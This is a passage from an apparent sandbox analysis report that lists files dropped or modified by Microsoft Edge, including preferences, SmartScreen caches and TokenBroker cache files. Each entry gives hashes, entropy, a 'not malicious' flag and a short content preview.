SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+5tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE668tbz8hu3VlXr4CRo1
MD5:	23E13CF6996D0D0EBDB38CC6C08F9379
SHA1:	5D091611D85CB763B1E0794D75A8718BA85ADB02
SHA-256:	78A226599213C14CE5F03736424360EDD517FD2F8DD318F569446119CC396716
SHA-512:	F5F5C16E0C1CB411601C8D9969336690F3A20A77E894CD957A4CFA25A04BC393C7846F3CDC431616860B9E09A169EA1110AE8F5B7CDEACFC034D7DFFA49AED31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.027568837190883
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclX7cx:YWLSGTt1o9LuLgfGBPAzkVj/T8la
MD5:	052B376DA900CAA7905F182A8B7ABAF5
SHA1:	907A8E998D8753F414A693C0A6EAE6626DC286F5
SHA-256:	81D79FEACABACF71D675FE7A3320F2504302818B3F5D33A78F743E95E90EA14C
SHA-512:	6C127831B4ADA40FEE12D03438C43D3BCE97311D1308A87A981783EAD6A85135CFF16FAF2D2117701DE11D683DCDD031C71B2BD235FDAF5F739935794FD26FA7
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732873705997344}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a306c14e-de73-4ba0-afb6-4b17829e0c3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44596
Entropy (8bit):	6.097014714046253
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBawuZhDO6vP6Og7x41MLnzdF4cGoup1Xl3jVzXr4z:z/Ps+wsI7ynEr6A7ijchu3VlXr4CRo1
MD5:	CCFEFD7DC2EF62A183C652F296470CD7
SHA1:	7818146E496955CF7AEC4B74AC30BE8482A4BD34
SHA-256:	A39CE060F95C126AE0B5C145557C17CB501E6B65406578C8FCF896CF90A8B128
SHA-512:	6AE56D66A1DE1EB69303EE89529869B589017370F45B36D9889A5C2941AE9C58B5476EE157096F74B12AF052928B8FE644BAAA890C6CF6366EA780C5311D080C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f09218f6-44c9-4ee3-9a77-efa24b417e67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752379150862
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+5tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE668tbz8hu3VlXr4CRo1
MD5:	23E13CF6996D0D0EBDB38CC6C08F9379
SHA1:	5D091611D85CB763B1E0794D75A8718BA85ADB02
SHA-256:	78A226599213C14CE5F03736424360EDD517FD2F8DD318F569446119CC396716
SHA-512:	F5F5C16E0C1CB411601C8D9969336690F3A20A77E894CD957A4CFA25A04BC393C7846F3CDC431616860B9E09A169EA1110AE8F5B7CDEACFC034D7DFFA49AED31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ff466a10-e767-47eb-adf2-2ed05bacbda6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44596
Entropy (8bit):	6.097014714046253
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBawuZhDO6vP6Og7x41MLnzdF4cGoup1Xl3jVzXr4z:z/Ps+wsI7ynEr6A7ijchu3VlXr4CRo1
MD5:	CCFEFD7DC2EF62A183C652F296470CD7
SHA1:	7818146E496955CF7AEC4B74AC30BE8482A4BD34
SHA-256:	A39CE060F95C126AE0B5C145557C17CB501E6B65406578C8FCF896CF90A8B128
SHA-512:	6AE56D66A1DE1EB69303EE89529869B589017370F45B36D9889A5C2941AE9C58B5476EE157096F74B12AF052928B8FE644BAAA890C6CF6366EA780C5311D080C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.846580177988588
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxUxl9Il8usGGwuAs8ofIBHAaWobd1rc:m5YKBwuADzP8
MD5:	6347DFD0CE3D3B175095247EFCC92E4F
SHA1:	4E558AE0C9ED1D940A9898B0F052A56FD82E378E
SHA-256:	356D752471043DC7D6F2D97AF66CE51EAE830315C042A85BCA6C002FA8466028
SHA-512:	52E9044E6ADD5222F663BC0925A00CF824C49F8007D10CA8351A9E17FFCAD49E507769877D8439E54F0A2D09E8EC9EB32FBA4EA2D22CAE12B60B8E5A2164C9D1
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.w.0.h.W.F.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.z.u.c.0.E.d.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000623910276652
Encrypted:	false
SSDEEP:	96:SYKfsK9XFlfdWf4a4gcMG9dkYZgNQlf5rAtnClT:Svf/XVi4T8+yQlRrQoT
MD5:	C65A3AEE9467BFF914ED18A2D6B97461
SHA1:	15082079C085C0DE2AD4888CABD572E6D0C2ADA1
SHA-256:	C411F57CB9739752B1327C3E904954953CB67BBB0704027CFC6B540867D58C2E
SHA-512:	18AFE301BE8087559B2BAEE53EE9A9CA8AA46C1AFD690419714C0B39B99EEE42B0B0AD1C41611698DBD41B97DAA3993D7C6197AFAB1A72DDE2C1775F56834908
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".D.x.H.i.a.l.l.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.z.u.c.0.E.d.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.901166330707554
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xLxl9Il8usGMly36uvT3+PvRV0+X3c3m9RM0+3YccYzd/vc:aFYKi3dr+3IWc3m9a0cXu
MD5:	8F12BB84E0FD25AF630DB1AD1E5716F6
SHA1:	0C7351C5F9CF56E25A57599E2D10A60A15C9659E
SHA-256:	D29B2FF3F04FAE18FED4B986A4714A19BD137F1AE28AE6119DE097AF88E78551
SHA-512:	02C8291B20FCCA394B73C312D537E760D8CCD6B2BB302B9A1988D754835B670424DB5450E3E726CE84938B33E66BE9C885E45E80C79BD4F5CA1565C20615B88C
Malicious:	false
